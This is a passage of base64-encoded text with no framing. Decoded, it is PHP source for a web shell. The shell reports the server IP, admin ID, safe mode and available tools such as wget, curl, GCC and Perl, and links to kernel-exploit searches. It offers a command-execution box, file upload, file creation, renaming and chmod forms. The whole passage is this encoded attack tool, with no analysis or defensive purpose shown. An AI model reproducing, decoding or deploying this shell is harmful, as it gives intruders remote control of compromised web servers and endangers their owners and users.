Sdjb2xvcjojZmYwMDAwJz5bIEdvb2dsZSBdPC9mb250PjwvYT4gfCA8YSBocmVmPSciLiRtaWxsaW5rLiInIHRpdGxlPSdTZWFyY2ggS2FybmVsIEZyb20gTWlsdzBybScgdGFyZ2V0PV9ibGFuaz48Zm9udCBzdHlsZT0nY29sb3I6I2ZmMDAwMCc+WyBNaWx3MHJtIF08L2ZvbnQ+PC9hPiB8IDxhIGhyZWY9JyIuJGV4cGxpbmsuIicgdGl0bGU9J1NlYXJjaCBLYXJuZWwgRnJvbSBFeHBsb2l0LWRiJyB0YXJnZXQ9X2JsYW5rPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5bIEV4cGxvaXQtZGIgXTwvZm9udD48L2E+PC9iPjxiciAvPiI7CmlmKCRpZCAhPSAiIikgJGJ1ZmYgLj0gIklEIDogPGI+Ii4kaWQuIjwvYj48YnIgLz4iOwokYnVmZiAuPSAiUEhQIFZlcnNpb24gOiA8Yj4iLnBocHZlcnNpb24oKS4iPC9iPiBPTiA8Yj4iLnBocF9zYXBpX25hbWUoKS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IHwgPC9zcGFuPjxhIGhyZWY9JyRwaHBpbmZvJyB0aXRsZT0nUEhQIEluZm8nPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5bIFBIUCBJbmZvIF08L2ZvbnQ+PC9hPiA8L2I+PGJyIC8+IjsKJGJ1ZmYgLj0gIlNlcnZlciBJUCA6IDxiPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz4iLiRzZXJ2ZXJfaXAuIjwvZm9udD48L2I+IDxzcGFuIGNsYXNzPVwiZ2F5YVwiPiB8IDwvc3Bhbj4gUG9ydCBTZXJ2ZXIgOiA8Yj48Zm9udCBzdHlsZT0nY29sb3I6I2ZmMDAwMCc+Ii4kc2VydmVycG9ydC4iPC9mb250PjwvYj48c3BhbiBjbGFzcz1cImdheWFcIj4gfCA8L3NwYW4+IFlvdXIgSVAgU3VydmluZyA6IDxiPjxhIGhyZWY9J2h0dHA6Ly93d3cuZG5zc3R1ZmYuY29tL3Rvb2xzP3J1bkZyb21NYWluPSIuZ2V0cmVhbGlwKCkuIiZ0b29sVHlwZT10cmFjZXJvdXRlJyB0aXRsZT0nVHJhY2Vyb3V0ZSBZb3VyIElQJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPiIuZ2V0cmVhbGlwKCkuIjxmb250PjwvYT48L2I+PHNwYW4gY2xhc3M9XCJnYXlhXCI+IHwgPC9zcGFuPiBBZG1pbiA6IDxiPiIuJGFkbWluX2lkLiI8L2I+PGJyIC8+IjsKJGJ1ZmYgLj0gIkZyZWUgRGlzazogPGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPjxiPiIuY29udmVydEJ5dGUoZGlza19mcmVlX3NwYWNlKCIvIikpLiIgPHNwYW4gY2xhc3M9XCJnYXlhXCI+IC8gPC9zcGFuPiAiLmNvbnZlcnRCeXRlKGRpc2tfdG90YWxfc3BhY2UoIi8iKSkuIjwvYj48L2ZvbnQ+PC9zcGFuPjxiciAvPiI7CmlmKCRzYWZlbW9kZSkgJGJ1ZmYgLj0gIlNhZmVtb2RlOiA8c3BhbiBjbGFzcz1cImdheWFcIj48Zm9udCBzdHlsZT0nY29sb3I6I2ZmMDAwMCc+PGI+T048L2I+PC9mb250Pjwvc3Bhbj48YnIgLz4iOwplbHNlICRidWZmIC49ICJTYWZlbW9kZTogPHNwYW4gY2xhc3M9XCJnYXlhXCI+PGI+T0ZGPC9iPjwvc3Bhbj48YnIgLz4iOwokYnVmZiAuPSAiRGlzYWJsZSBGdW5jdGlvbnM6ICIuc2hvd2Rpc2FibGVmdW5jdGlvbnMoKS4iPGJyIC8+IjsKJGJ1ZmYgLj0gIk15U1FMOiAiLnRlc3RteXNxbCgpLiImbmJzcDsmbmJzcDt8Jm5ic3A7Jm5ic3A7TVNTUUw6ICIudGVzdG1zc3FsKCkuIiZuYnNwOyZuYnNwO3wmbmJzcDsmbmJzcDtPcmFjbGU6ICIudGVzdG9yYWNsZSgpLiImbmJzcDsmbmJzcDt8Jm5ic3A7Jm5ic3A7UGVybDogIi50ZXN0cGVybCgpLiImbmJzcDsmbmJzcDt8Jm5ic3A7Jm5ic3A7UHl0aG9uOiAiLnRlc3RweXRob24oKS4iJm5ic3A7Jm5ic3A7fCZuYnNwOyZuYnNwO1J1Ynk6ICIudGVzdHJ1YnkoKS4iJm5ic3A7Jm5ic3A7fCZuYnNwOyZuYnNwO0phdmE6ICIudGVzdGphdmEoKS4iJm5ic3A7Jm5ic3A7fCZuYnNwOyZuYnNwO0dDQzogIi50ZXN0Z2NjKCkuIiZuYnNwOyZuYnNwO3wmbmJzcDsmbmJzcDtjVVJMOiAiLnRlc3RjdXJsKCkuIiZuYnNwOyZuYnNwO3wmbmJzcDsmbmJzcDtXR2V0OiAiLnRlc3R3Z2V0KCkuIjxicj4iOwokYnVmZiAuPSI8Zm9udCBjb2xvcj0wMGZmMDAgPkRyaXZlIDogPGI+Ii4kbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybC4iPC9iPjwvZm9udD4iOwoKCiBmdW5jdGlvbiByYXBpaCgkdGV4dCl7CiAgICByZXR1cm4gdHJpbShzdHJfcmVwbGFjZSgiPGJyIC8+IiwiIiwkdGV4dCkpOwp9CgpmdW5jdGlvbiBtYWdpY2Jvb20oJHRleHQpewogICAgaWYgKCFnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7CiAgICAgICAgIHJldHVybiAkdGV4dDsKICAgIH0gCiAgICByZXR1cm4gc3RyaXBzbGFzaGVzKCR0ZXh0KTsKfQoKZnVuY3Rpb24gc2hvd2RpcigkcHdkLCRwcm9tcHQpewogICAgJGZuYW1lID0gYXJyYXkoKTsKICAgICRkbmFtZSA9IGFycmF5KCk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpKSAkcG9zaXggPSBUUlVFOwogICAgZWxzZSAkcG9zaXggPSBGQUxTRTsKICAgICR1c2VyID0gIj8/Pz86Pz8/PyI7CiAgICBpZigkZGggPSBAc2NhbmRpcigkcHdkKSl7CiAgICAgICAgZm9yZWFjaCgkZGggYXMgJGZpbGUpewogICAgICAgICAgICBpZihpc19kaXIoJGZpbGUpKXsKICAgICAgICAgICAgICAgICRkbmFtZVtdID0gJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZWlmKGlzX2ZpbGUoJGZpbGUpKXsKICAgICAgICAgICAgICAgICRmbmFtZVtdID0gJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlbHNlewogICAgICAgIGlmKCRkaCA9IEBvcGVuZGlyKCRwd2QpKXsKICAgICAgICAgICAgd2hpbGUoJGZpbGUgPSBAcmVhZGRpcigkZGgpKXsKICAgICAgICAgICAgICAgIGlmKEBpc19kaXIoJGZpbGUpKXsKICAgICAgICAgICAgICAgICAgICAkZG5hbWVbXSA9ICRmaWxlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmKEBpc19maWxlKCRmaWxlKSl7CiAgICAgICAgICAgICAgICAgICAgJGZuYW1lW10gPSAkZmlsZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBAY2xvc2VkaXIoJGRoKTsKICAgICAgICB9CiAgICB9CiAgICBzb3J0KCRmbmFtZSk7CiAgICBzb3J0KCRkbmFtZSk7CiAgICAkcGF0aCA9IEBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJHB3ZCk7CiAgICAkdHJlZSA9IEBzaXplb2YoJHBhdGgpOwogICAgJHBhcmVudCA9ICIiOwogICAgJGJ1ZmYgPSAiPGNlbnRlcj4KICAgIDxmb3JtIGFjdGlvbj1cIj95PSIuJHB3ZC4iJmFtcDt4PXNoZWxsXCIgbWV0aG9kPVwicG9zdFwiIHN0eWxlPVwibWFyZ2luOjhweCAwIDAgMDtcIj4KICAgIDx0YWJsZSBjbGFzcz1cImNtZGJveFwiIHN0eWxlPVwid2lkdGg6NDUlO1wiPgogICAgPHRyPjx0ZD48Yj4kcHJvbXB0PC9iPjwvdGQ+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj1cInRoaXMuZm9jdXMoKTtcIiBpZD1cImNtZFwiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgc3R5bGU9XCJ3aWR0aDo0MDBweDtcIiB2YWx1ZT1oZWxwIC8+PGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiR28gIVwiIG5hbWU9XCJzdWJtaXRjbWRcIiBzdHlsZT1cIndpZHRoOjgwcHg7XCIgLz48L3RkPjwvdHI+CiAgICA8L2Zvcm0+CiAgICA8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgc3R5bGU9XCJtYXJnaW46OHB4IDAgMCAwO1wiPgogICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPgogICAgPHRyPjx0ZD48Yj5WaWV3IDwvYj48L3RkPjx0ZD48aW5wdXQgb25Nb3VzZU92ZXI9XCJ0aGlzLmZvY3VzKCk7XCIgaWQ9XCJnb3RvXCIgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJ2aWV3XCIgc3R5bGU9XCJ3aWR0aDo0MDBweDtcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz48aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3ICFcIiBuYW1lPVwic3VibWl0Y21kXCIgc3R5bGU9XCJ3aWR0aDo4MHB4O1wiIC8+PC90ZD48L3RyPjwvY2VudGVyPgogICAgCiAgICA8L2Zvcm0+PC90YWJsZT48YnI+PHRhYmxlIGNsYXNzPVwiZXhwbG9yZVwiPgogICAgPHRyPjx0aD5OYW1lPC90aD48dGggc3R5bGU9XCJ3aWR0aDo4MHB4O1wiPlNpemU8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjIxMHB4O1wiPk93bmVyOkdyb3VwPC90aD48dGggc3R5bGU9XCJ3aWR0aDo4MHB4O1wiPlBlcm1zPC90aD48dGggc3R5bGU9XCJ3aWR0aDoxMTBweDtcIj5Nb2RpZmllZDwvdGg+PHRoIHN0eWxlPVwid2lkdGg6MTkwcHg7XCI+QWN0aW9uczwvdGg+PC90cj4KICAgICI7CiAgICBpZigkdHJlZSA+IDIpIGZvcigkaT0wOyRpPCR0cmVlLTI7JGkrKykgJHBhcmVudCAuPSAkcGF0aFskaV0uRElSRUNUT1JZX1NFUEFSQVRPUjsKICAgIGVsc2UgJHBhcmVudCA9ICRwd2Q7ICAKCiAgICBmb3JlYWNoKCRkbmFtZSBhcyAkZm9sZGVyKXsKICAgICAgICBpZigkZm9sZGVyID09ICIuIikgewogICAgICAgICAgICBpZighJHdpbiAmJiAkcG9zaXgpewogICAgICAgICAgICAgICAgJG5hbWU9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAgICAgICAgICRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJG93bmVyID0gJHVzZXI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHB3ZC4iXCI+JGZvbGRlcjwvYT48L3RkPjx0ZD4tPC90ZD4KICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+PHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHB3ZCkuIjwvY2VudGVyPjwvdGQ+CiAgICAgICAgICAgIDx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRwd2QpKS4iPC90ZD48dGQ+PHNwYW4gaWQ9XCJ0aXRpazFcIj4KICAgICAgICAgICAgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9Ii4kcHdkLiJuZXdmaWxlLnBocFwiPk5ldyBGaWxlPC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCd0aXRpazEnLCd0aXRpazFfZm9ybScpO1wiPk5ldyBGb2xkZXI8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMScsJ3RpdGlrNF9mb3JtJyk7XCI+VXBsb2FkPC9hPjwvc3Bhbj4KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsxX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInlcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJSZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHbyAhXCIgLz4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCJcIiBpZD1cInRpdGlrNF9mb3JtXCIgbWV0aG9kPVwicG9zdFwiIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPgogICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJmaWxlXCIgbmFtZT1cImZpbGVcIiBzaXplPVwiMjBcIi8+PGJyPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiBuYW1lPVwiX3VwbFwiIHR5cGU9XCJzdWJtaXRcIiBpZD1cIl91cGxcIiB2YWx1ZT1cIlVwbG9hZFwiLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJDYW5jZWxcIiB2YWx1ZT1cIkNhbmNlbFwiIAogICAgICAgICAgICBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiIC8+CiAgICAgICAgICAgIDwvZm9ybT48L3RkPgogICAgICAgICAgICAKICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgIjsKICAgICAgICB9CiAgICAgICAgZWxzZWlmKCRmb2xkZXIgPT0gIi4uIikgewogICAgICAgICAgICBpZighJHdpbiAmJiAkcG9zaXgpewogICAgICAgICAgICAgICAgJG5hbWU9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAgICAgICAgICRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJG93bmVyID0gJHVzZXI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHBhcmVudC4iXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFOMWdBQURkWUJrRzk1bkFBQUFBZDBTVTFGQjlvSkJ4VUFNMHFMejZ3QUFBTExTVVJCVkRqTGJWUFJTMU5SR1ArZDNidHJzN2tabUFZWGxTWllVSzRIUVhDUkVQV1VRU1NZSUQxR0VLS3gvQWYyNWxNK0RDRkNlNGhleWdjTmRJVUVTVDA0UVc2QmpTMHl4NVVoa1c2RkV0dk9QZmM3cDRlbVhjb2ZIUGc0NTN5LzczZSs3M2NBRHl6TE9veS9iSHpSOC9sODBMYnRZRDV2NndmNzJWek9td0xtVGU3dTdvWmxXY2NiR2hwR05KOTJIUXd0dGVOdlNxbVhKT1dqTTUyZFBQTXBnL05kNS84U3BGSXA5UGYzdzdLc1M0RkE0QmxqckIxSFFDbVZjNFY3TzNvaCttRmxaUVd4V0F3c2tVZ2drVWhnZVhrNUZnNkhGNW1QbldDQUFoaFRVR0NLUVVGNWViNExJYTcyOVBSa25yOTQva2ZCd01EQXNYZzgvdEh2OTU4Rm9EeFA4OFllSlRMZDJ4dUxBWUFQQUlhR2h1NUlLYzl5enNFNVo0N2pZSFYxOVVPcFZOb1hRc0M3T09kd0hORzd0TFIwRXdEMFVDaXM2N3AyblhNT0FDaVhLNy9ldjMvM1pISnk4bkV5bVp3eURNTThxRXhFeWpUTjl2cjYrb0FRNGdhQWVmM2l4VmdkNTg0cHcrRFkzZDB0VEU5UGo2VFQ2VGZCWUpDUGo0L2ZCdUEvSUJCQytHWm1aaFpiV2xyT09ZNWpEZzhQYTNxcFZFS2xVb0hmNzBjZ0VHZ2VIUjJOUEhnUVY0T0R0OVRzN0t3RVFBQ2dhUnBTcVZkUVNyRnF0WXBxdFNwdDJ3WURZRXhNVE15M3RiVmRrMUxXcHFYZWJtMXQzVGROODZtdTY1RmFNdytzRTJLTTZUOS8vcGdhR3hzYjFRRTRhMnRycjV1YW1xNTVHbjJsK1dSeldnaWhFVkg5RVg1QUpwT1pCd0FOQUhLNVhLR2pvNk92c2JIUmRGMFhSQVFwWloyVTBrOUVpb2dZRVlHSWxKU1MyYlk5bTB3bUh3SlFXbzMwMS9iMmRpRVNpVncyakxvUUVURnlYZVdTeTRoYzVycUhKS3hZTEdibjV1YnVGb3ZGMHFFQ0FOamYzN2UvYm16a2pEcmpkQ2dVYW1VK01DSUpJZ2twaVpYTFpabk5aaGNXRmhidWJXNXVmdTdxNnNMT3pzNy9MZ1BRM3RyYTJoK05SdnZDNGZBcEFISnZiMjlyZlgxOXFWQW92QWF3ZCtSdi9BYytBTWNBR0xVSlZBQTRSMTM4RGVGK2NYK3hSL0FHQUFBQUFFbEZUa1N1UW1DQyc+PC9hPjwvdGQ+PHRkPi08L3RkPgogICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD4KICAgICAgICAgICAgPHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHBhcmVudCkuIjwvY2VudGVyPjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJHBhcmVudCkpLiI8L3RkPgogICAgICAgICAgICA8dGQ+PHNwYW4gaWQ9XCJ0aXRpazJcIj48YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwYXJlbnQuIm5ld2ZpbGUucGhwXCI+TmV3IEZpbGU8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMicsJ3RpdGlrMl9mb3JtJyk7XCI+TmV3IEZvbGRlcjwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsyJywndGl0aWszX2Zvcm0nKTtcIj5VcGxvYWQ8L2E+PC9zcGFuPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgaWQ9XCJ0aXRpazJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjE0MHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm1rZGlyXCIgdmFsdWU9XCJhX25ld19mb2xkZXJcIiAvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIlJlbmFtZVwiIHN0eWxlPVwid2lkdGg6MzVweDtcIiB2YWx1ZT1cIkdvICFcIiAvPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIGlkPVwidGl0aWszX2Zvcm1cIiBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInlcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZVwiIHNpemU9XCIyMFwiLz48YnI+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIG5hbWU9XCJfdXBsXCIgdHlwZT1cInN1Ym1pdFwiIGlkPVwiX3VwbFwiIHZhbHVlPVwiVXBsb2FkXCIvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgCiAgICAgICAgICAgIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0zJyk7XCIgLz4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L3RkPjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGlmKCEkd2luICYmICRwb3NpeCl7CiAgICAgICAgICAgICAgICAkbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7CiAgICAgICAgICAgICAgICAkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAkb3duZXIgPSAkdXNlcjsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYnVmZiAuPSAiPHRyPjx0ZD48YSBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmtcIiBocmVmPVwiP3k9Ii4kcHdkLiRmb2xkZXIuRElSRUNUT1JZX1NFUEFSQVRPUi4iXCI+PGI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBUUFBQUMxK2pmcUFBQUFBWE5TUjBJQXJzNGM2UUFBQUFKaVMwZEVBUCtIajh5L0FBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFBMDBsRVFWUW96NldSdlVwRFVSQ0V2em11d1I4czhncjJFVHZ0TFNSYUtqNkFyWlUrVlZBRXdTcXZKSWhJd2lYMzNuUE8ySWdheUsyY2J0bVpXVDRXL2l2OUhlYWNBNjk3TlFSWTI4MUZyMGR1MWhKUHQ5MEQreGdjNmZud1hqQzc5Sld5UWRpVGZPcmY0bmsvalpmMGNWZW5JcEVRSW1HalFzVm9kMmNyeXZINFRFWkMzMGtMak1FK0tVZFJsMjRaRFFCa3J5SXZ0T0pnZ0xHcmkraGJkWGdkOTBlOSsraHo2clI1all0elpLc0lEemh3RkRUUUR6WkVzVHo4Q1JPNXBtVnFCMjQwdWNSYk03a2VqVGNhbEJmdm4xOTVFVitFYWpGMWhnQUFBQUJKUlU1RXJrSmdnZz09JyAvPiAgWyAkZm9sZGVyIF08L2I+PC9hPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI/eT0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld25hbWVcIiB2YWx1ZT1cIiIuJGZvbGRlci4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJSZW5hbWVcIiB2YWx1ZT1cIlJlbmFtZVwiIC8+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiQ2FuY2VsXCIgdmFsdWU9XCJDYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4KICAgICAgICAgICAgPC9mb3JtPjx0ZD5ESVI8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPgogICAgICAgICAgICA8dGQ+PGNlbnRlcj4KICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiPiIuZ2V0X3Blcm1zKCRwd2QuJGZvbGRlcikuIjwvYT4KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPVwiP3k9JHB3ZFwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0zXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiAKICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNTBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXd2YWx1ZVwiIHZhbHVlPVwiIi5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHB3ZC4kZm9sZGVyKSksIC00KS4iXCIgLz4gCiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiQ2htb2RfZm9sZGVyXCIgdmFsdWU9XCJDaG1vZFwiI